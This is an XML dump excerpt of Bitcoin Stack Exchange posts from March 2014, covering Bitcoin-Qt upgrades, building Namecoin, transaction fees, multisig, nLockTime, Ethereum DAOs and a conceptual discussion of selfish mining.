  <row Id="23769" PostTypeId="2" ParentId="10931" CreationDate="2014-03-20T14:31:51.627" Score="0" Body="&lt;p&gt;When I used Slackware and compiled my kernels, there was a recommendation to set threads 2xN - N=number of cores.&#xA;But here &lt;a href=&quot;http://www.databook.bz/?page_id=2319&quot; rel=&quot;nofollow&quot;&gt;http://www.databook.bz/?page_id=2319&lt;/a&gt; I found a guy,  not sharing this opinion. &#xA;Obviously it varies on the different platforms. So, if yours observations  show that 2xN works better on your machine, this sounds reasonably.&lt;/p&gt;&#xA;" OwnerUserId="14703" LastActivityDate="2014-03-20T14:31:51.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23772" PostTypeId="2" ParentId="23744" CreationDate="2014-03-20T16:02:44.177" Score="2" Body="&lt;p&gt;You will not be able to find an API that supports Paypal, credit cards and Google wallet since there's a chargeback issue with paying for Bitcoins in these methods. More on this &lt;a href=&quot;http://www.youtube.com/watch?v=pm8dNt6rxek&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&#xA;Each major exchange usually has their own api. Just Google &quot;BTC-E API&quot; for example. There is no &quot;one stop shop&quot; solution for this.&lt;/p&gt;&#xA;" OwnerUserId="14701" LastActivityDate="2014-03-20T16:02:44.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23773" PostTypeId="1" AcceptedAnswerId="23898" CreationDate="2014-03-20T16:21:16.267" Score="4" ViewCount="525" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Version 0.9 of Bitcoin-Qt&lt;/a&gt; just came out. When will &lt;a href=&quot;https://launchpad.net/~bitcoin/+archive/bitcoin&quot; rel=&quot;nofollow&quot;&gt;ppa:bitcoin/bitcoin&lt;/a&gt; be updated? In the meanwhile, any steps showing how to upgrade are welcome!&lt;/p&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-03-24T03:50:59.003" Title="Is Bitcoin core V.0.9 not updated on PPA ppa:bitcoin/bitcoin?" Tags="|bitcoin-core|ubuntu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23774" PostTypeId="1" CreationDate="2014-03-20T17:02:43.127" Score="6" ViewCount="433" Body="&lt;p&gt;I've had a look at the &lt;a href=&quot;https://github.com/ethereum/wiki/wiki/%5BEnglish%5D-White-Paper#decentralized-autonomous-organizations&quot;&gt;white paper&lt;/a&gt; but I fail to understand exactly what is happening on the code shown on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand this example manages shareholders. But, is it possible to store organisation data somewhere? I (honestly) don't understand this. &lt;/p&gt;&#xA;" OwnerUserId="11810" LastEditorUserId="9175" LastEditDate="2014-03-21T12:03:11.357" LastActivityDate="2014-08-18T13:46:24.397" Title="What actually happens in a basic DAO in ethereum?" Tags="|ethereum|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23776" PostTypeId="2" ParentId="23773" CreationDate="2014-03-20T17:24:04.213" Score="0" Body="&lt;p&gt;I second this. The PPA is very outdated (I think using &amp;lt; 0.4). The only way I could think of manually upgrading would be to pull the latest Git Tag for 0.9.0 and re-make (compile) from source.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2014-03-20T17:24:04.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23777" PostTypeId="1" AcceptedAnswerId="23897" CreationDate="2014-03-20T17:39:35.717" Score="1" ViewCount="431" Body="&lt;p&gt;I'm trying to install the current version of namecoin from github.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After much trouble and poking around, I found the official install instructions here:&lt;a href=&quot;https://github.com/namecoin/wiki/wiki/Build-Namecoin-From-Source&quot; rel=&quot;nofollow&quot;&gt;https://github.com/namecoin/wiki/wiki/Build-Namecoin-From-Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/namecoin/namecoin.git&#xA;cd namecoin/src&#xA;make -f makefile.unix namecoind&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only problem, there is no makefile.unix, only MakeFile and makefile.mingw&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone get through something like this?&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-05-09T15:59:35.237" Title="Build Namecoin from source" Tags="|namecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23778" PostTypeId="1" AcceptedAnswerId="23833" CreationDate="2014-03-20T18:30:57.797" Score="1" ViewCount="238" Body="&lt;p&gt;I want to create a paper wallet but want to do it manually.  I understand that bitaddress.org automates the process for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do instructions exist which I can follow to do the same thing which bitaddress does to create a paper wallet?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2014-05-21T01:37:10.683" Title="Manually doing what bitaddress.org does" Tags="|paper-wallet|coldstorage|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23779" PostTypeId="2" ParentId="21530" CreationDate="2014-03-20T18:31:28.300" Score="0" Body="&lt;p&gt;VirWoX doesn't allow you to &quot;posses&quot; your account. You need a client like MultiBit, and there you will see your new address. Then make a bitcoin transfer from virwox to multibit. They will charge 0.002 btc per transaction, with a minimum of 0.02 or so I think.&lt;/p&gt;&#xA;" OwnerUserId="14706" LastActivityDate="2014-03-20T18:31:28.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23780" PostTypeId="1" CreationDate="2014-03-20T18:34:47.553" Score="3" ViewCount="264" Body="&lt;p&gt;Is the following scenario possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to send money to a script. This script will require knowing a private key to spend, as usual, but the script is only valid if the money is being sent to one of two addresses. That is, if the transaction has more than one output, it is invalid. If the transaction's output is a standard script to address &lt;code&gt;A&lt;/code&gt; or to address &lt;code&gt;B&lt;/code&gt; then it is valid. If the transaction output value is any less than &lt;code&gt;x&lt;/code&gt;, it is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, it seems the scripts serve to validate that you can spend the output, but then the output can be spent however the claimant wants. Is there any way to limit how the outputs are spent? All this without requiring a trusted oracle of course.&lt;/p&gt;&#xA;" OwnerUserId="13990" LastActivityDate="2014-04-27T12:19:49.367" Title="Is there any way to send an output to a script which can then only be sent to one of two addresses?" Tags="|transactions|address|script|contracts|transaction-verification|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23782" PostTypeId="1" CreationDate="2014-03-20T19:45:51.477" Score="1" ViewCount="1770" Body="&lt;p&gt;While the smallest fraction of bitcoins currently implemented is the Satoshi (10&lt;sup&gt;-8&lt;/sup&gt; BTC or 10 nBTC (nano-bitcoins)), due to transaction fees there seems to be a minimum amount of BTC to be spent that is larger than one Satoshi. What is currently the smallest amount of BTC one can spend at comparably little to no fees. i.e. what is currently the smallest sensible unit of microtransactions?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2014-03-21T22:29:08.587" Title="What is the smallest sensible transaction?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-21T22:38:59.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="23783" PostTypeId="2" ParentId="10206" CreationDate="2014-03-20T20:03:00.840" Score="9" Body="&lt;p&gt;Coinbase doesn't actually run an online wallet.   They store your coin in &lt;em&gt;their&lt;/em&gt; wallet, and &lt;em&gt;they hold the keys&lt;/em&gt; to your money.   You are trusting them to not run a fractional exchange, since they don't publish BTC assets &amp;amp; liability trees.  &lt;em&gt;Personally, I don't think that's secure at all.&lt;/em&gt;   &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You should store the bulk your coin in your own, personal wallet with a big nice long password, or even better, with a generated password (passhash.com for example).   Electrum, CarbonWallet, Armory all make GREAT secure &quot;deterministic&quot; wallets.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a &quot;seed backup&quot; of the wallet, and keep it in a safe place.   You can print a a backup without a password if you're worried about losing the password, and lock it up.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep a second &quot;spending&quot; wallet around with less money in it than your main one.   Maybe a simple password to type out at a cafe, etc.   That wallet should also be backed up and imported into your cell phone (Mycelium) wallet.   Then you can easily move funds as needed from your &quot;big&quot; wallet that's more heavily encrypted  to your cell phone one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9128" LastActivityDate="2014-03-20T20:03:00.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23785" PostTypeId="1" AcceptedAnswerId="23786" CreationDate="2014-03-20T20:26:52.140" Score="6" ViewCount="255" Body="&lt;p&gt;If I have to make 10 payments of various amounts to different recipients: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the best approach for the lowest tx fee? One transaction that will serve many (or all) logical payments (many inputs and outputs) or many but small in size transactions that will each serve a single logical payment?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Which of the above transactions is most likely to get completed successfully? In the combining transaction, if a sub-payment fails after the transaction has been broadcasted to the network will all of the other sub-payments fail and will the transaction never confirm?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2014-11-14T04:26:28.457" Title="To combine or not to combine" Tags="|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23786" PostTypeId="2" ParentId="23785" CreationDate="2014-03-20T20:44:10.423" Score="4" Body="&lt;p&gt;There are more variables at play than you have listed, so I can't answer with certainty. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7537/calculator-for-estimated-tx-fees&quot;&gt;Calculator for estimated TX-Fees&lt;/a&gt; lists some of the considerations as to when a fee is required, and how much the fee is. (but note that some of the info there is out of date due to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=219504.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;a change&lt;/a&gt;; &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Bitcoin wiki&lt;/a&gt; has more up to date info, and is also a good resource on this subject) For example, how many inputs are there, and what sizes and ages are they.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I think that &lt;em&gt;most likely&lt;/em&gt;, the best thing to do would be to do it all in one large transaction and pay 0.0001 BTC per 1000 bytes. I'd expect you'd have to pay 0.0001 or 0.0002 BTC (~US$0.06-0.12) for the transaction. Including more wouldn't hurt, and might improve how long it'll take to get it confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the transaction is valid (you should make sure it is before broadcasting it) and includes a large enough fee to be relayed by most peers and miners, you shouldn't have to worry about anything going wrong with the transaction. E.g. none of your recipients can invalidate the transaction.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-20T20:49:32.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23787" PostTypeId="2" ParentId="23782" CreationDate="2014-03-20T22:13:34.950" Score="1" Body="&lt;p&gt;I personally think that the most smallest and sensible transaction is at least 0.0001 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HOWEVER NOTE:&lt;/strong&gt; If you want a confirmation in 10 or 20 minutes, you will need to post a minimum transfer fee of 0.0001 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So technically&lt;/strong&gt; If you want to transfer 0.0001 to a account you will need at least 0.0002&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to transfer a bigger amount, the transaction fee will not need to be changed&#xA;e.g. If you want to transfer X amount to a account you will need at least X amount + 0.0001&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to transfer 0.00005593 with no transaction fee, and there is still no confirmations: &lt;a href=&quot;https://blockchain.info/tx/15ee5484920eed92457643a1709629d8ff579b15fc805b0060a9cf0efdcbb8ed&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/15ee5484920eed92457643a1709629d8ff579b15fc805b0060a9cf0efdcbb8ed&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transfer More faster = Pay a Higher transfer fee&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to note: transfer fee same as Miners Fee same as transaction fee&lt;/p&gt;&#xA;" OwnerUserId="14710" LastEditorUserId="3364" LastEditDate="2014-03-21T22:29:08.587" LastActivityDate="2014-03-21T22:29:08.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23789" PostTypeId="2" ParentId="23763" CreationDate="2014-03-21T00:26:13.907" Score="0" Body="&lt;p&gt;Dropbox stores all previous versions of hive files for at least a month. You can open the backup folder in Finder and find the bitcoinkit.wallet file. Right-click this and select &quot;View Previous Versions&quot;. This should open your Dropbox account and show you the previous versions of the wallet file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the backup at ~/Library/Application Support if the backup files are there. If not, copy the backup files to that folder. Then start Hive, and it should detect the existing wallet and send you straight to the main window without going through the welcome wizard (note: you'll have to wait a bit for it to resynchronize with the Bitcoin network again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this works!&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2014-03-21T00:26:13.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23790" PostTypeId="1" AcceptedAnswerId="23791" CreationDate="2014-03-21T01:51:48.967" Score="3" ViewCount="660" Body="&lt;p&gt;Is it possible for person A, person B, and person C to create a multiple signature address without one person needing to initially know all three addresses to create that public address in the first place?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally 5 people somehow create an address together, maybe passing it on to each other? But only if 3 out of those 5 private keys are used, can money be gotten out of that wallet?&lt;/p&gt;&#xA;" OwnerUserId="13312" LastEditorUserId="5406" LastEditDate="2019-08-11T17:23:58.510" LastActivityDate="2019-08-11T17:43:05.097" Title="Can multiple people create one multisignature address, while keeping their private keys private?" Tags="|multi-signature|address-generation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23791" PostTypeId="2" ParentId="23790" CreationDate="2014-03-21T03:06:13.387" Score="2" Body="&lt;p&gt;You need the public addresses of all persons involved in order to create the multi-sig address. So if you are creating a 3 of 5 multi-sig address you need all 5 public address.  In order to retrieve funds from that address you need signatures from 3 of the 5 people (or however many signatures you require). Check out this example &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;here&quot;&gt;here&lt;/a&gt;, which was a huge help for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitrated.com and &lt;a href=&quot;https://coinb.in/multisig/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://coinb.in/multisig/&lt;/a&gt; have open source implementations of this as well.  &lt;/p&gt;&#xA;" OwnerUserId="14431" LastEditorUserId="97624" LastEditDate="2019-08-11T17:23:31.360" LastActivityDate="2019-08-11T17:23:31.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23792" PostTypeId="1" CreationDate="2014-03-21T03:48:47.583" Score="12" ViewCount="3901" Body="&lt;p&gt;I'm having a hard time understanding how nLockTime works. The &lt;a href=&quot;https://en.bitcoin.it/wiki/NLockTime&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin wiki&lt;/a&gt; has an explanation that is confusing to me:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;nLockTime is a parameter that can be attached to a transaction, that mandates a minimal time (specified in either unix time or block height), that before this time, the transaction cannot be accepted into a block.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone explain it in plain English, with an example?&lt;/p&gt;&#xA;" OwnerUserId="3902" LastEditorUserId="5406" LastEditDate="2019-12-19T01:33:41.560" LastActivityDate="2023-12-14T04:46:16.787" Title="Can someone explain nLockTime?" Tags="|transactions|locktime|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23793" PostTypeId="2" ParentId="23792" CreationDate="2014-03-21T06:11:56.163" Score="2" Body="&lt;p&gt;From the wiki it basically states that you can make a transaction to another bitcoin address and add nlocktime. The way that this would work in real life would be if you get paid on salary and are paid bi-weekly, the bitcoins will be on the network but won't reach you until the nlocktime is up &#xA;Edit: read example 1 from &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Contracts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13388" LastActivityDate="2014-03-21T06:11:56.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23794" PostTypeId="1" CreationDate="2014-03-21T06:35:54.593" Score="1" ViewCount="252" Body="&lt;p&gt;bitcoind is imposing a transaction fee of 0.0001 BTC forcefully even though I have set &quot;transaction fee&quot; to 0. Is it possible to transfer BTC to an address without paying a fee? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="14632" LastEditorUserId="5757" LastEditDate="2014-06-30T13:00:30.513" LastActivityDate="2014-11-29T16:48:27.430" Title="Why bitcoind/bitcoin-qt is imposing transaction fee?" Tags="|transactions|bitcoind|bitcoin-core|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23795" PostTypeId="2" ParentId="23794" CreationDate="2014-03-21T07:21:45.637" Score="3" Body="&lt;p&gt;Upgrade to Bitcoin version 0.9 or later which removes the minimum relay fee. Just be warned -- the lower the fee you set, the longer it can take for your transaction to be confirmed. Zero-fee transactions can take days.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-21T07:21:45.637" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23798" PostTypeId="1" CreationDate="2014-03-21T08:16:41.077" Score="8" ViewCount="1131" Body="&lt;p&gt;I am reading the Cornell &lt;a href=&quot;http://arxiv.org/pdf/1311.0243v1.pdf&quot; rel=&quot;nofollow&quot;&gt;selfish mining paper&lt;/a&gt;. In it, their main argument is that a selfish miner can increase the ratio of the blocks he mines relative to the honest miners. I do not dispute this. However, to my understanding, merely denying others their blocks does not help you; just because everyone else is getting fewer blocks doesn't mean you're getting more. (That is, everyone mining normally would be expected to get a certain rate, but if you suppress some of those blocks, then the total rate goes down. So denying others their blocks is not zero-sum; just because everyone else's rate goes down does not imply that your rate goes up.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a simpler explanation of my confusion. Consider this thought experiment. Let's say 2/3 of the miners suddenly quit mining, leaving it all to a miner who has 1/3 of the hashrate. We can all agree that this miner is at least as well off as a miner conducting a selfish miner attack. (The reason for this is very simple: he could just replicate the exact same strategy used by the selfish miner, except that the honest miners now have no chance of finding a block in this thought experiment.) Nonetheless, they can only mine at a rate of 1 block per 30 minutes, at least until the next difficulty readjustment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So unless you're a sadist who just wants to make everyone else worse off, it seems that selfish mining gives no advantage, unless we consider at least one of these three factors:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transaction fees. If you mine at the same rate and cause everyone else to mine at a lower rate (because a lot of their blocks get rejected), you are still finding blocks at the same time intervals on average, but since each block takes longer in general to find, it will include more transactions and thus more transaction fees.&lt;/li&gt;&#xA;&lt;li&gt;Difficulty changes. If the difficulty readjustment occurs as you're performing selfish mining, then of course decreasing everyone else's share of the pie increases yours.&lt;/li&gt;&#xA;&lt;li&gt;Economic effects. With fewer bitcoins being mined, all else being equal, a decrease in supply causes an increase in price. So the bitcoins you mine are more valuable.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I correct in concluding that without these three effects, there is no selfish mining attack? If so, then selfish mining is not a problem in practice, at least for now. Transaction fees are minuscule compared to the block reward, difficulty retargets are infrequent, and the amount mined each day isn't really that significant compared to the total number of coins in circulation.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastEditorUserId="5406" LastEditDate="2016-03-10T14:49:09.373" LastActivityDate="2016-03-10T14:49:09.373" Title="Does selfish mining actually give an advantage in the absence of transaction fees, difficulty changes, and economic effects?" Tags="|academic-research|selfish-mining|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23799" PostTypeId="2" ParentId="23798" CreationDate="2014-03-21T09:00:36.700" Score="7" Body="&lt;p&gt;You're missing the main point: when a selfish miner finds a new block, he keeps it &lt;strong&gt;private&lt;/strong&gt;, does not broadcast it to the network, and starts mining on top of that privately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the network is still mining on a block that was actually already found, but not broadcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the rest of the network finally finds this block, the selfish miner broadcasts his version, in an attempt to replace it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By invalidating blocks this way a selfish miner is effectively wasting other people's cycles, and has a head start for winning the next block, because he started mining on it before the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that this practice is only successful if you're a large pool with around 25% of hashing power. Major pools of this size are closely watched and scrutinized by the entire community. Finding consecutive blocks in a row, for many times, is a strong indicator that the pool is practicing selfish mining. The community can therefore decide whether to leave the pools who are practicing this behavior.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-03-21T11:38:03.987" LastActivityDate="2014-03-21T11:38:03.987" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="23800" PostTypeId="2" ParentId="23774" CreationDate="2014-03-21T10:09:34.493" Score="3" Body="&lt;p&gt;That's a pretty general contract: As long as more than two thirds of the shareholders agree, you can change every single storage entry. This enables to add or remove shareholders, change the program itself (as it's part of the storage as well), and store arbitrary additional data.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To extend the description in the white paper a little, here's how a voting could look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) One shareholder proposes a change of some storage bytes using the second transaction type (&lt;code&gt;[1,k,L,v0,v1...vn]&lt;/code&gt;). &lt;code&gt;k&lt;/code&gt; is a kind of ID to refer to this suggestion later, &lt;code&gt;L&lt;/code&gt; is the first storage address that will be changed and &lt;code&gt;v0, v1, ...&lt;/code&gt; is the data to store. As you can see, arbitrary changes of storage entries are allowed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Now, the other shareholders can vote to implement the change with the first transaction type (&lt;code&gt;[0,k]&lt;/code&gt;, where &lt;code&gt;k&lt;/code&gt; refers to the previously registered proposal). The number of votes in favor of this proposal is stored at a storage location given by the hash of &lt;code&gt;k&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) As soon as enough votes have been received, a shareholder can send the third transaction type to apply proposal &lt;code&gt;k&lt;/code&gt;, i.e. write the data to the storage.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2014-03-21T10:09:34.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23801" PostTypeId="1" CreationDate="2014-03-21T10:21:59.850" Score="5" ViewCount="1688" Body="&lt;p&gt;I've configured bitcoind -walletnotify to run php script when callback is triggered. It works fine, but only notify until 3 confirmations are received. My goal is to notify when 6 confirmations are received for that transaction. Is there a way to configure it to notify until 6 confirmations?&lt;/p&gt;&#xA;" OwnerUserId="14722" LastActivityDate="2015-01-08T22:08:39.727" Title="Bitcoind -walletnotify more than 6 confirmations?" Tags="|transactions|bitcoind|confirmations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23803" PostTypeId="1" AcceptedAnswerId="28267" CreationDate="2014-03-21T10:54:36.993" Score="1" ViewCount="578" Body="&lt;p&gt;&lt;a href=&quot;http://blog.coinfloor.co.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinfloor&lt;/a&gt; says it will pay out withdrawals using Multi-Signature Pay 2 Script Hash.  What is Multi-Signature Pay 2 Script Hash?  I read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9678/what-is-script-hash-address-exactly-and-how-does-it-work&quot;&gt;What is &amp;quot;Script Hash&amp;quot; address exactly and how does it work?&lt;/a&gt; but didn't understand how it enables more secure withdrawals form cold storage.&lt;/p&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-07-02T10:56:38.383" Title="How does Multi-Signature Pay 2 Script Hash (P2SH) enable stronger security?" Tags="|transactions|exchanges|script|hash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23804" PostTypeId="1" CreationDate="2014-03-21T11:40:47.857" Score="4" ViewCount="228" Body="&lt;p&gt;I read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1986/contracts-will-this-be-possible&quot;&gt;Contracts: Will this be possible?&lt;/a&gt; where part of the question related to expiring a transaction and one of the replies said that it would never be possible since it causes problems. Unfortunately the reply didn't indicate what problems it would cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't quite understand from the question/reply whether it was a question of expiring an (unconfirmed?) transaction (which might well be problematic) or expiring a txout from a previously confirmed transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the latter entirely impossible by any current method, e.g. scripting and/or a combination of transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way that I perceive that it might be possible (and I'm only a bitcoin newbie so please take pity on me and help me understand if this suggestion is patently ridiculous to bitcoin experts) would be to have a &lt;b&gt;new&lt;/b&gt; bitcoin script operation that could be used in the scriptPubKey of the txout to push the '&lt;i&gt;current&lt;/i&gt;' time on to the stack so that it can be compared (using OP_LESSTHAN, OP_GREATERTHAN, OP_LESSTHANOREQUAL or OP_GREATERTHANOREQUAL) to a fixed expiry time (which is in scriptPubKey and pushed to the stack by scriptPubKey) and only if the current time is less than the expiry time will the rest of the scriptPubKey allow the transaction (i.e. bitcoin payment) to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A note on what I mean by '&lt;i&gt;current&lt;/i&gt;' time...there could be a lengthy debate over the source of current time and the trustworthiness of that source but I'd propose that 'current' time doesn't truly need to be the actual current time so long as it's a reasonably close approximation in the bitcoin realm (about 10 minutes on average but maybe longer, maybe shorter). Thus it could be the timestamp of the &lt;b&gt;previous&lt;/b&gt; block in the blockchain; that way every node (assuming no fork) will be judging the txout expiration against the same 'current' time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An undesirable but arguably acceptable side effect is if a transaction spending the txout is submitted and confirmed in a short blockchain fork then it will get requeued on the longer fork and there is a chance that txout might have expired before the transaction is reprocessed and thus the transaction will fail the second time around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another subtlety to aid usability might be to offer two variants of the new 'current' time operation to mirror the two 'variants' of lock_time, one variant to push the previous block's timestamp on to the stack and the other variant to push the previous block's &lt;b&gt;height&lt;/b&gt; on to the stack. This way a user can write transactions which are self consistent in time reference or self consistent in height reference.&lt;/p&gt;&#xA;" OwnerUserId="14726" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-03-25T09:43:59.080" Title="Is it possible (in some way or other) to expire a txout?" Tags="|script|contracts|time|utxo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23805" PostTypeId="1" AcceptedAnswerId="23827" CreationDate="2014-03-21T13:01:52.870" Score="1" ViewCount="173" Body="&lt;p&gt;I just read &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3872/why-do-small-transactions-without-fees-ever-get-processed&quot;&gt;Why do small transactions without fees ever get processed?&lt;/a&gt; and it made me wonder about the risk that a legitimate, lock_timed transaction might not be processed once the lock_time is past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware (from the above question) that in the reference implementation, the increasing age of a transaction (in the mempool once it's been submitted?) should increase its priority regardless of the its fees but not every miner is willing to process low(/no) fee transactions even now never mind what they may (not) do in future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I have a signed transaction with a (very!) distant lock_time and it has fees that were considered reasonable at the time that the transaction was created and then when I submit it after lock_time what is the risk that no miners will process it because its fees are &lt;em&gt;subsequently&lt;/em&gt; considered to be too low to bother with it?&lt;/p&gt;&#xA;" OwnerUserId="14726" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-21T18:20:26.707" Title="Could an old, unconfirmed transaction fail to be processed because it is no longer deemed to have enough fees" Tags="|transaction-fees|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
